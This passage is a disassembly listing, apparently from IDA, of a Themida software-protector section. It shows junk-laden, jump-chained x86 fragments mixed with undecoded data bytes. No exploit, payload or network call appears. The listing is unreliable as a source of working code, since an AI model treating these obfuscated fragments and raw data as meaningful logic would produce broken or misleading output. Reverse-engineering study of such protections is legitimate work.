		dd 943E9EBh, 34FF0001h,	0CF14E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5601A2:				; CODE XREF: Themida_:0056407Aj
		pop	esi
		jmp	loc_562015
; ---------------------------------------------------------------------------


loc_5601A8:				; CODE XREF: Themida_:00563383j
		mov	cl, 0D7h
		jmp	loc_561E7D
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 0E9505224h, 7B02h
; ---------------------------------------------------------------------------


loc_5601BC:				; CODE XREF: Themida_:0056431Fj
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_561238
; ---------------------------------------------------------------------------


loc_5601CC:				; CODE XREF: Themida_:00571444j
		push	5689h
		mov	[esp], esi
		jmp	loc_55E60A
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 1304E9h, 48B6600h, 0DF09E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5601F2:				; CODE XREF: Themida_:0056DA0Aj
		shr	esi, 2
		jmp	loc_56CB17
; ---------------------------------------------------------------------------
		dw 355Bh
		dd 60365BCAh, 158C701h,	21EF81D7h, 8B7ACF04h, 0B9E92414h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560213:				; CODE XREF: Themida_:0056D028j
		mov	ecx, ebp
		pop	ebp
		mov	edx, [esp]
		jmp	loc_56986B
; ---------------------------------------------------------------------------
		dw 51ACh
		dd 0C1815954h, 4, 0C7E8E9h, 0CC93E900h,	0D929FFFFh, 81241C8Bh
		dd 4C4h, 0E9CD2900h, 0D13Eh, 0E996B753h, 0FFFFDDEFh, 85FE5EBAh
		dd 5AD629BBh, 0C1A969BDh, 97E956E3h, 0BA000062h, 28A48C69h
		dd 15AD601h, 13CDE9F0h,	0BB590000h, 0D382C597h,	16EAEB81h
		dd 0C3813982h, 40F370FEh, 447CE9h, 48B6600h, 0A1685224h
		dd 8900003Fh, 0C4E92424h, 0FF00001Eh, 34FF2434h, 0DA74E924h
		dd 0DABB0000h, 29586A6Ah, 7DE95BD8h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5602AF:				; CODE XREF: Themida_:005667D6j
		push	0C7h
		jmp	loc_5609E0
; ---------------------------------------------------------------------------


loc_5602B9:				; CODE XREF: Themida_:005637AFj
		or	ebx, 4ABA5F3Ch
		jmp	loc_5608FE
; ---------------------------------------------------------------------------
		dd 0FFCBFCE9h, 5AD588FFh, 19C6E951h, 0C4810001h, 4, 3304C183h
		dd 0C31240Ch, 240C3324h, 0F24248Bh, 9C51C8AFh, 0FFCBD4E9h
		dd 242489FFh, 5E48E9h, 9D5BE00h, 0EF683E85h, 0E9000044h
		dd 3AC7h
; ---------------------------------------------------------------------------


loc_560308:				; CODE XREF: Themida_:00567F59j
		add	edx, ebp
		jmp	loc_56E247
; ---------------------------------------------------------------------------
		db 83h
		dd 0F4E904ECh, 800000B2h, 885383EEh, 5BDC88F3h,	0B151665Ah
		dd 66CB00B0h, 81240C8Bh, 2C4h, 80E32800h, 48BB0EBh, 4C48124h
		dd 0F000000h, 48DC0B6h,	0EC835687h, 6E6C6804h, 24890000h
		dd 532CE924h, 0E9510000h, 0FFFFFEE8h, 0F781DFF7h, 0EFF00CE1h
		dd 0C1D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_560369:				; CODE XREF: Themida_:0056C7CCj
		pop	ebx
		jmp	loc_5715C2
; ---------------------------------------------------------------------------
		db 68h
		dd 1D97h, 66B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_560379:				; CODE XREF: Themida_:00566258j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	ecx, ebp
		jmp	loc_5647F2
; ---------------------------------------------------------------------------
		dw 814Ah
		dd 5E6BF3C2h, 0A61E955h, 0E5890001h, 4C581h, 0C5830000h
		dd 242C8704h, 59C8315Ch, 0FFD3A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5603B5:				; CODE XREF: Themida_:00561F1Cj
		sub	esi, 4696089Ah
		jmp	loc_56A814
; ---------------------------------------------------------------------------


loc_5603C0:				; CODE XREF: Themida_:0056805Dj
		pop	ecx
		and	ecx, esi
		mov	esi, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4020767Ah
		neg	ebp
		add	ebp, 4020767Eh
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56006E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0F167E95Ch,	0F2810000h, 343A6AA2h
		dd 829AE956h, 15F0000h,	0C8B59CBh, 0EFE95224h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560423:				; CODE XREF: Themida_:0056FB11j
		mov	ebp, 76853D4Fh
		dec	ebp
		and	ebp, 4EFB05AEh
		jmp	loc_56E548
; ---------------------------------------------------------------------------
		dd 4EC8352h, 0B3241C89h, 2E3C049h, 0C0B65266h, 438CE9h
		dd 8BF10100h, 0C4812434h, 4, 2BD55h, 0E9290000h, 240C335Dh
		dd 33240C31h, 248B240Ch, 0D952E924h, 9ABBFFFFh,	4B532635h
		dd 0C3814343h, 0ACD9CA69h, 7F26E9h, 81E58900h, 4C5h, 0E9E95200h
		dd 81000104h, 0FD04246Ch, 592D8706h, 8124048Fh,	4ECh, 3400E900h
		dd 0D9010000h, 53D1E981h, 505B58F8h, 509EE9h, 2434FF00h
		dd 4C48358h, 3359CF01h,	3C31243Ch, 243C3324h, 5EFEE95Ch
		dd 0C870000h, 14895C24h, 1AA4E924h, 0DA890000h,	242C8B52h
		dd 1052AE9h, 4EC8100h, 89000000h, 3DBB241Ch, 4B5B0569h
		dd 744DF381h, 0E381027Ch, 37B176EBh, 0C381D3F7h, 45C31FFCh
		dd 79E9DE89h, 83FFFFD3h, 815E04C4h, 4C6h, 4EC8300h, 1D4AE9h
		db 0
; ---------------------------------------------------------------------------


loc_560521:				; CODE XREF: Themida_:0055E403j
		mov	[esp], ebx
		push	edi
		mov	edi, 11760D75h
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7BAB0E4Fh
		jmp	loc_55DF5C
; ---------------------------------------------------------------------------


loc_560545:				; CODE XREF: Themida_:00568BB1j
		and	ecx, 3DC62FB3h
		jmp	loc_56B400
; ---------------------------------------------------------------------------


loc_560550:				; CODE XREF: Themida_:0055E1C6j
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 20E61F8Dh
		jmp	loc_565E02
; ---------------------------------------------------------------------------


loc_560565:				; CODE XREF: Themida_:00562398j
		mov	[esp], eax
		jmp	loc_572669
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C242CD3h, 0FFC94CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560579:				; CODE XREF: Themida_:00563A7Dj
		xor	edi, ecx
		not	ecx
		xchg	ecx, edi
		dec	edi
		jmp	loc_561CE6
; ---------------------------------------------------------------------------


loc_560585:				; CODE XREF: Themida_:0056CB20j
		and	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_564CD7
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 75B85000h, 0C1447F3Dh,	6E2505E8h, 0E939701Fh
		dd 0A11Fh, 0F281D2F7h, 252B7EDDh, 0C0EDF281h, 0EEE9ADBBh
		dd 66000076h, 52240C8Bh, 0C281E289h, 4,	7078BF57h, 0DFF70F35h
		dd 11337E9h
		db 0
; ---------------------------------------------------------------------------


loc_5605D9:				; CODE XREF: Themida_:00564E3Fj
		xchg	edi, ebp
		jmp	loc_561CC7
; ---------------------------------------------------------------------------


loc_5605E0:				; CODE XREF: Themida_:00561901j
		or	edx, edi
		jmp	loc_5723F7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C3302424h, 0FFE293E9h, 70EDBFFFh, 0F7814AD0h, 58731494h
		dd 5E87E9h, 2434FF00h, 4C4835Bh, 0F215E9h
		db 0
; ---------------------------------------------------------------------------


loc_56060D:				; CODE XREF: Themida_:005693A0j
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, 2A2C794Eh
		add	edx, edi
		add	edx, 2A2C794Eh
		pop	edi
		xchg	edx, [esp]
		pop	esp
		and	ecx, ebp
		jmp	loc_569403
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC88Dh, 5C241C87h, 0C247C29h, 83243C8Bh,	5C2904C4h
		dd 44810824h, 26D60824h, 6C81517Bh, 644F0824h, 685B565Fh
		dd 5BD6h, 0E9240C89h, 0F947h
; ---------------------------------------------------------------------------


loc_560668:				; CODE XREF: Themida_:005717E1j
		pop	edx
		shl	ebx, 8
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	0B00B5Fh
		pop	ebp
		sub	ebp, 5740CD5Bh
		jmp	loc_56D3C2
; ---------------------------------------------------------------------------
		dd 0F4EB815Ah, 51207D0Eh, 6D4D8168h, 0E981591Bh, 7353463Dh
		dd 4B2BC181h, 0EC837E6Eh, 9BAE904h, 0C1810001h,	4, 3304E983h
		dd 0C31240Ch, 240C3324h, 243C895Ch, 594E6851h, 34FF6805h
		dd 89575924h, 90BD55E7h, 0D17EC86Fh, 81DDF7E5h,	6F20DCEDh
		dd 0E9EF0102h, 0FFFFD79Ch, 0C681C601h, 5BA51A9h, 4685258h
		dd 8B000000h, 0C4832414h, 88C68104h, 810F8302h,	0BF5C53EEh
		dd 81D6011Eh, 0BF5C53C6h, 303CE91Eh, 0EDC10000h, 84A8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560716:				; CODE XREF: Themida_:0056C6C1j
		pop	ebp
		add	ecx, 1FA83D08h
		add	ecx, ebp
		sub	ecx, 1FA83D08h
		pop	ebp
		jmp	loc_565F80
; ---------------------------------------------------------------------------
		db 58h
		dd 692EC681h, 0EEC16282h, 0D1E95006h, 58FFFFE9h, 0B6E9F129h
		dd 8800004Fh, 0B2D6E9F9h, 0EA810000h, 4, 0E9241487h, 1274h
; ---------------------------------------------------------------------------


loc_560758:				; CODE XREF: Themida_:0055E09Bj
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55E863
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835D24h, 99E6804h, 2E90000h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56077F:				; CODE XREF: Themida_:005615A0j
		push	ebx
		push	eax
		mov	al, dl
		mov	bh, al
		mov	eax, [esp]
		jmp	loc_5689F8
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 2BBh, 0E7DBE900h,	0C381FFFFh, 52243A3Eh
		dd 0EB81C301h, 52243A3Eh, 1D1CEB81h, 48B474Bh, 4C48124h
		dd 68000000h, 2BB2h, 1080FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5607C5:				; CODE XREF: Themida_:0056806Fj
		pop	ebp
		jmp	loc_56E989
; ---------------------------------------------------------------------------
		db 1
aS_7		db 'ØéÆ+',0
		align 2
		dw 5166h
		dd 3EE90AB5h, 6800011Bh, 7CF656FBh, 0E9242C8Bh,	0BE5Eh
		dd 20EB68ADh, 2C890000h, 75D1BD24h, 1E958CFh, 45000114h
		dd 0FFF068E9h, 7BD6BAFFh, 0EA815B52h, 3FBA7921h, 0D2F7D2F7h
		dd 7A0FF281h, 0D0211A1Ah, 7CE9535Ah, 5F000061h,	0E981F101h
		dd 62B93451h, 416CE981h, 8B5E0524h, 0A6E92404h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560837:				; CODE XREF: Themida_:0056262Ej
		add	esp, 4
		shl	ebp, 7
		shr	ebp, 6
		add	ebp, 62738168h
		mov	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55FDA1
; ---------------------------------------------------------------------------


loc_56085A:				; CODE XREF: Themida_:0056B82Fj
		pop	esp
		add	[esp+2], dx
		push	si
		push	edi
		push	small 5066h
		pop	di
		xor	di, 21E9h
		mov	si, di
		jmp	loc_560C3D
; ---------------------------------------------------------------------------
		dw 52ADh
		dd 57B78BAh, 5AD0296Ah,	0D468D829h, 89000047h, 5268242Ch
		dd 89000076h, 49BA2414h, 0BD7CF656h, 222730D4h,	0FFD59CE9h
		dd 48F5AFFh, 0E276E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5608AA:				; CODE XREF: Themida_:0056C0FAj
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_561FC7
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0E7h
		dd 817EE956h, 13881CC7h, 5FFB019Ah, 1CC268h, 242C8900h
		dd 4BDh, 5DEB2900h, 8B241C87h, 4892424h, 0E9E08924h, 63D4h
		dd 1489665Ch, 2414F624h, 0EAC05A66h, 8A0BE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608FE:				; CODE XREF: Themida_:005602BFj
		sub	ebx, 7ABB7F7Ah
		jmp	loc_5680E0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 35FA6824h, 4890000h,	48B5424h, 4C48124h, 51000000h
		dd 105C25B9h, 55D1F722h, 426FB7BDh, 81DDF758h, 3235A3E5h
		dd 0DA3DE933h, 0BB530000h, 4, 9064892Dh, 53D80174h, 906489BBh
		dd 5BD80174h, 81241C8Bh, 4C4h, 0CBC0E900h, 3C8B0000h, 4C48124h
		dd 21000000h, 229EE9EBh, 835F0000h, 0A36804C4h,	8900002Ch
		dd 74FF241Ch, 8F5B0424h, 16E92404h, 57000101h, 0A87579BFh
		dd 7EFC123h, 9EE9E94Fh,	3A680000h, 89000046h, 3868243Ch
		dd 5F1F5176h, 0FFF9B3E9h, 4B9FFh, 44810000h, 6FD0424h
		dd 4C012D87h, 0D0E90424h, 0B3FFFFFAh, 89C28049h, 2CE9DA00h
		dd 8100004Ch, 0CD7D47F1h, 84C9811Fh, 0F72AF46Eh, 0E9D1F7D9h
		dd 0E797h
; ---------------------------------------------------------------------------


loc_5609E0:				; CODE XREF: Themida_:005602B4j
		mov	[esp], ebp
		pop	eax
		pop	ebp
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_571935
; ---------------------------------------------------------------------------
		db 68h
		dd 3586h, 0B4240489h, 0E9E6886Ch, 7D6Fh, 0E4F2814Ah, 537F7E10h
		dd 1D63B5BBh, 7C38E929h, 0E9510000h, 2E41h, 0CB81D3F7h
		dd 4841071h, 3BADE381h,	0EB816F8Dh, 0FFFFFFFFh,	5DD0F381h
		dd 0DF217110h, 1188E95Bh, 1C890001h, 52CC6824h,	24890000h
		dd 0F458E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560A4A:				; CODE XREF: Themida_:005679A3j
		push	68E6h
		jmp	loc_562DA5
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0EA8704C4h, 4EC81h, 2C890000h, 24148724h
		dd 1487D2F7h, 454E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560A72:				; CODE XREF: Themida_:0055F2A4j
		not	ecx
		add	ecx, 0CD9F0C11h
		shr	ecx, 5
		jmp	loc_56D7D4
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 8A7F46C2h, 0D2F7593Ch, 0E906EAC1h, 7537h
; ---------------------------------------------------------------------------


loc_560A94:				; CODE XREF: Themida_:005661F6j
		mov	[esp], ebp
		jmp	loc_56D71A
; ---------------------------------------------------------------------------
		dd 48F38143h, 0E98885B8h, 0E379h, 0F380CBFEh, 8099B20Ah
		dd 0CAFE3FCAh, 8003EAC0h, 0DA0002C2h, 81241C8Bh, 4C4h
		dd 0E9D2F600h, 0FFFFF3C1h, 0BA241489h, 4, 1730E981h, 7FE979C1h
		dd 520000AFh, 67E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_560AE5:				; CODE XREF: Themida_:0055FEEBj
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_56472E
; ---------------------------------------------------------------------------
		dd 0E904C483h, 5B58h, 0E9C9E9ADh, 0B259FFFFh, 8BDA0099h
		dd 0C483241Ch, 0DD2C04h, 0EBE953D0h, 5F000057h,	623AEB81h
		dd 0EC8110EAh, 4, 0B8240489h, 19AA44F0h, 682A7B25h, 7DE95628h
		dd 890000B3h, 22E9241Ch
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560B3B:				; CODE XREF: Themida_:00564C3Cj
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 753770A2h
		sub	esi, ebx
		jmp	loc_562428
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 0E9243C8Bh, 0FFFFFF98h, 5764C581h, 0C5814758h, 482D494Ah
		dd 88EDE9h, 81495900h, 3C57DAC9h, 68C18114h, 49DBCABAh
		dd 28E95356h, 50000019h, 0C288E888h, 0FFCD0EE9h, 0C7835EFFh
		dd 243C8704h, 6857555Ch, 0FFh, 0E4FCE9h, 24048F00h, 10761E9h
		dd 815A5400h, 4C2h, 4EA8100h, 87000000h, 248B2414h, 24148924h
		dd 42474FFh, 0FFFCDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560BC5:				; CODE XREF: Themida_:0057193Dj
		push	634Ah
		mov	[esp], eax
		push	esp
		jmp	loc_571A50
; ---------------------------------------------------------------------------


loc_560BD3:				; CODE XREF: Themida_:0056E24Dj
		xor	edi, 2A9E6A4Ah
		sub	edx, edi
		pop	edi
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5719DD
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 7DF94950h, 672DC181h, 0E0E96527h, 66000014h
		dd 0EFE5E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560C02:				; CODE XREF: Themida_:005635D9j
		mov	esp, [esp]
		jmp	loc_55E668
; ---------------------------------------------------------------------------
		dw 95Ch
		dd 0D9F75AD1h, 9A3BE953h, 8B5E0000h, 0C4812414h, 4, 0E4C7E955h
		dd 0EB810000h, 263665F0h, 0C381FB01h, 263665F0h, 5F2434FFh
		dd 0B11FE9h
		db 0
; ---------------------------------------------------------------------------


loc_560C3D:				; CODE XREF: Themida_:00560871j
		pop	edi
		add	word ptr [esp+4], 4B12h
		add	[esp+4], si
		sub	word ptr [esp+4], 4B12h
		pop	si
		pop	dx
		jmp	loc_56272D
; ---------------------------------------------------------------------------
		dw 5D5Bh
		dd 8247429h, 5E2434FFh,	81E28952h, 4C2h, 0BFE95100h, 8100007Eh
		dd 60FAD3E9h, 59CA31B5h, 0FFD711E9h, 0ECE958FFh, 1000094h
		dd 148759CAh, 348B5C24h, 0D4FAE924h, 468FFFFh, 5E000000h
		dd 15EF389h, 241C8BDFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56C2F7
; ---------------------------------------------------------------------------
		dd offset dword_5D5368
		dd 241C8900h, 42474FFh,	24048F5Bh, 8B24248Bh, 89562414h
		dd 1D93E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560CCA:				; CODE XREF: Themida_:0056AEA7j
		mov	[esp], edx
		mov	edx, 65177838h
		jmp	loc_5627DB
; ---------------------------------------------------------------------------


loc_560CD7:				; CODE XREF: Themida_:0056D1AEj
		mov	[esp], ecx
		mov	ecx, 280B31EDh
		add	ebx, ecx
		pop	ecx
		dec	ebx
		push	717Bh
		jmp	loc_56934A
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4E98300h, 0FEC9E9h, 2434FF00h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_570F00
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 2CD36624h, 9AE99C24h, 81FFFFC1h
		dd 637D3042h, 615B39F8h, 475FE9h
		db 0
; ---------------------------------------------------------------------------


loc_560D39:				; CODE XREF: Themida_:00568713j
		shr	edi, 2
		dec	edi
		push	esi
		mov	esi, 45D14D36h
		jmp	loc_567877
; ---------------------------------------------------------------------------
		dd 8924248Bh, 92BF243Ch, 0E91CFE31h, 95F7h, 0A8ED815Dh
		dd 817ADA74h, 0D98C82EDh, 5DEB8919h, 6663CB81h,	0E3811B48h
		dd 1BC3078Ah, 36F38143h, 976454Bh, 0CE815BDEh, 739279B6h
		dd 7FFBEE81h, 0F5897FFFh, 83EF815Eh, 17B635Ch, 83C781EFh
		dd 5D7B635Ch, 3CF6852h,	3C890000h, 48966824h, 3C8B5E30h
		dd 4C48124h, 4F000000h,	1D9EF81h, 5A57F721h, 82CCE95Fh
		dd 0E0C00000h, 0E2A2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560DCA:				; CODE XREF: Themida_:0056D186j
		push	35265602h
		jmp	loc_563E7C
; ---------------------------------------------------------------------------
		dd 5B66F800h, 6E8AE9h, 7902BD00h, 0ED814D4Ah, 4D4A78FEh
		dd 1FE9EF89h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560DEF:				; CODE XREF: Themida_:005666C8j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 20h
		push	ecx
		mov	ecx, 72542724h
		add	edx, ecx
		pop	ecx
		add	edx, edi
		push	ebp
		mov	ebp, 29861752h
		xor	ebp, 74044A03h
		not	ebp
		neg	ebp
		jmp	loc_563D25
; ---------------------------------------------------------------------------
		db 0B8h
		dd 178C3871h, 0CACDE9h,	1C77FF00h, 411589Dh, 82E99C24h
		dd 0BBFFFFC0h, 169E10A7h, 79C668h, 24048900h, 2BD5E9h
		db 0
; ---------------------------------------------------------------------------


loc_560E55:				; CODE XREF: Themida_:0056C70Fj
		push	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_561719
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 10h
		dd 81668243h, 96985EEFh, 5FFD8921h, 72EEF581h, 0EB217F45h
		dd 83242C8Bh, 0B95104C4h, 74112029h, 1ABCF181h,	574179C3h
		dd 4420E951h, 0C3810000h, 6D6432A0h, 0A78AE9h, 0E9C88900h
		dd 100B7h, 0E3310468h, 9E7CE90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560EAE:				; CODE XREF: Themida_:005677B6j
		xor	edi, 10E75172h
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	edx
		jmp	loc_567BF0
; ---------------------------------------------------------------------------
		dw 525Dh
		dd 24148B55h, 4C481h, 2C8B0000h, 38D5E924h, 0E3890000h
		dd 4C381h, 0B8500000h, 4, 0E958C301h, 0F1A5h, 0E7E9C601h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560EF7:				; CODE XREF: Themida_:0056DD3Fj
		add	edi, esi
		sub	edi, 0FAD5534h
		mov	esi, [esp]
		jmp	loc_569D49
; ---------------------------------------------------------------------------
		db 1
aSP		db 'Ù[]éÃ',0
		align 10h
		dd 0BC685256h, 5A33E57Eh, 0D4FF281h, 0E94A0230h, 0AB02h
		dd 2DEF815Ah, 1646101h,	1FCCE9DFh, 53490000h, 82419BBBh
		dd 5BD93149h, 2EED81h, 0CD016054h, 2EC581h, 81596054h
		dd 4ECh, 242C8900h, 42474FFh, 24048F5Dh, 8CCE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560F62:				; CODE XREF: Themida_:0056872Dj
		mov	ecx, [edx]
		jmp	loc_55FBE9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 248B2404h, 24048924h, 0FFBF48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560F7D:				; CODE XREF: Themida_:0055F099j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_561F0B
; ---------------------------------------------------------------------------
		dw 0FEBDh
		dd 8175FD5Eh, 5313E1CDh, 99E6E90Ah, 0CB010000h,	7374EB81h
		dd 0C38145B4h, 5AE1B66h, 8B2434FFh, 0C481240Ch,	4, 0E904C483h
		dd 37C0h, 4C481h, 0B9510000h, 2, 0D6E9C801h, 1000111h
		dd 5E042474h, 4C18159h,	57000000h, 2BFh, 99E98100h, 16EF021h
		dd 99C181F9h, 5F6EF021h, 2474FF51h, 240C8B04h, 8F04C483h
		dd 0E95C2404h, 0FFFFC313h
; ---------------------------------------------------------------------------


loc_561008:				; CODE XREF: Themida_:00561E10j
		add	esp, 4
		or	eax, eax
		jz	loc_561CBD
		push	eax
		push	ecx
		jmp	loc_562F70
; ---------------------------------------------------------------------------


loc_56101D:				; CODE XREF: Themida_:00566D42j
		xor	ebx, 651645B5h
		jmp	loc_569A12
; ---------------------------------------------------------------------------
		dd 0B4E9F529h, 0BF0000A1h, 2FE3004Eh, 0E908E7C1h, 157Eh
		dd 18C525B9h, 5EF1298Ch, 6465BD55h, 0D5F70D11h,	68h, 242C2900h
		dd 4EC815Dh, 89000000h,	73BF243Ch, 51740C59h, 5250E9h
		dd 240C8900h, 2A2BF1B9h, 0FFC8313Ah, 0A9E92434h, 680000F2h
		dd 2ED4h, 56240489h, 2EB6BF57h,	0FE8963FDh, 81243C8Bh
		dd 4C4h, 7293B800h, 0E8D126F0h,	3502E8C1h, 23AA526Ch, 0E904EC83h
		dd 6CD4h, 0BF687EBEh, 0E9DEF730h, 147Ah
; ---------------------------------------------------------------------------


loc_5610B8:				; CODE XREF: Themida_:00563972j
		add	dword ptr [esp], 4
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dd 25468h, 240C8900h, 36A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5610D1:				; CODE XREF: Themida_:00569C28j
		sub	edi, 0DD540897h
		sub	ebx, edi
		pop	edi
		sub	ebx, edi
		add	ebx, 3DC968D0h
		pop	edi
		xor	ebx, [esp]
		jmp	loc_5724FB
; ---------------------------------------------------------------------------
aLSx		db '‹$$é•»',0
		db 0
; ---------------------------------------------------------------------------


loc_5610F3:				; CODE XREF: Themida_:0056FCD3j
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	24C1h
		mov	[esp], eax
		push	ebp
		jmp	loc_564541
; ---------------------------------------------------------------------------


loc_561115:				; CODE XREF: Themida_:0055D9A3j
		add	ebp, 0A59FA3F4h
		sub	edx, ebp
		jmp	loc_569730
; ---------------------------------------------------------------------------


loc_561122:				; CODE XREF: Themida_:00563207j
		mov	bh, ch
		mov	ah, bh
		pop	ebx
		pop	ecx
		push	460Eh
		mov	[esp], ecx
		mov	ch, ah
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	dl, [esp+4]
		mov	[esp+4], bh
		mov	ebx, [esp]
		push	ebx
		jmp	loc_55E441
; ---------------------------------------------------------------------------
aSssx		db 'SéèX',0
		dw 0FF00h
		dd 0FEE92434h, 5E000025h, 0AC39EF81h, 3DE9D909h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56116B:				; CODE XREF: Themida_:00567C39j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569970
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFD995h, 0F7044504h, 7504CE04h, 102C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_561189:				; CODE XREF: Themida_:00567B98j
		pop	ebx
		sub	esi, ecx
		add	esi, 668F70C7h
		pop	ecx
		push	6835h
		mov	[esp], ebp
		mov	ebp, 0F8E7B0Eh
		inc	ebp
		push	ebx
		mov	ebx, 4F3D51D3h
		xor	ebx, 5EC80F6Dh
		neg	ebx
		or	ebx, 27A90552h
		push	ebp
		mov	ebp, 23147DD6h
		neg	ebp
		sub	ebp, 34073A15h
		shl	ebp, 5
		jmp	loc_570081
; ---------------------------------------------------------------------------
		db 87h
		dd 248B242Ch, 0F4EAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5611D6:				; CODE XREF: Themida_:0056CDDBj
		push	ebp
		push	ecx
		mov	ecx, 7DC81E7Dh
		jmp	loc_562439
; ---------------------------------------------------------------------------


loc_5611E2:				; CODE XREF: Themida_:00565E05j
		add	ebx, edi
		add	ebx, 20E61F8Dh
		jmp	loc_569DF6
; ---------------------------------------------------------------------------


loc_5611EF:				; CODE XREF: Themida_:00567A32j
		xor	eax, 0FBA1C019h
		jmp	loc_55E12C
; ---------------------------------------------------------------------------


loc_5611F9:				; CODE XREF: Themida_:0056C4F5j
		mov	edi, [esp]
		add	esp, 4
		push	69E1h
		jmp	loc_565759
; ---------------------------------------------------------------------------
		dd 4EC8157h, 89000000h,	39BD242Ch, 811BCE3Ch, 560FB7C5h
		dd 0EDED813Bh, 89DA8BF1h, 0EFC15DEFh, 0B4C78106h, 0E92B3E49h
		dd 10670h
; ---------------------------------------------------------------------------


loc_561238:				; CODE XREF: Themida_:005601C7j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56CFCB
; ---------------------------------------------------------------------------
		dw 1489h
aSPqs		db '$S³¯QéÂ',0
		db 1, 0
